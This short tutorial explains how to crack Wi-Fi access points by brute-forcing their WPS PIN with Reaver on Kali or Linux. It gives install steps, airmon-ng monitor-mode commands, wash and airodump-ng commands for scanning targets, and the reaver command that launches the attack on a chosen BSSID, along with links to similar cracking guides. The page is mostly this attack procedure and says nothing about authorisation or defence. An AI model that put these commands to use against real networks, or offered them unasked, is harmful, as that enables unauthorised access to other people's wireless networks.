Reaver Basics

Reaver can be ran on linux and does a linux based brute for hack (attempt) on an AP.

 

If you have windows you can:  Download kali image, download vmware player personal use version

If you have linux you can: install aircrack, reaver and you are good to go

 

References

http://www.aircrack-ng.org/doku.php?id=airmon-ng

http://www.kalitutorials.net/2014/04/hack-wpawpa2-wps-reaver-kali-linux.html

http://www.howto-make.org/0nH5cMoneyDD5yWe/Step-by-step-reaver-and-Backtrack-5-WPA-WPA-2-crack-wireless.html

 

Steps

1. Install Reaver (Google it you will get more than enough info), install aircrack $ sudo apt-get install aircrack-ng

2. Set your wireless mode

sudo airmon-ng  and then start the appropriate card. Normaly wlan0 by sudo airmon-ng start wlan0

3. sudo wash -i mon0 or try sudo wash -i mon0 –ignore-fcs  might solves the issue, or try sudo airodump-ng mon0

4. run sudo reaver -i mon0 -b XX:XX:XX:XX:XX:XX  where the xx:…. is the BSID from wash or airdump

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